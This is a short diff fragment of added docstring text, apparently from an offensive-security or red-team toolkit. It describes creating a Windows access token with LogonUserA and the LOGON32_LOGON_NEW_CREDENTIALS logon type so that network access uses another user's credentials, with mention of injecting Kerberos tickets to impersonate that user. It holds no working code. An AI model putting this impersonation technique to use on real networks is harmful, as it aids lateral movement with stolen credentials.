+    Create a new access token from a username, password and domain name triplet.

+    This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user. 
+    In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user.
+    The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials.
+
+    Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types) 
+    changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
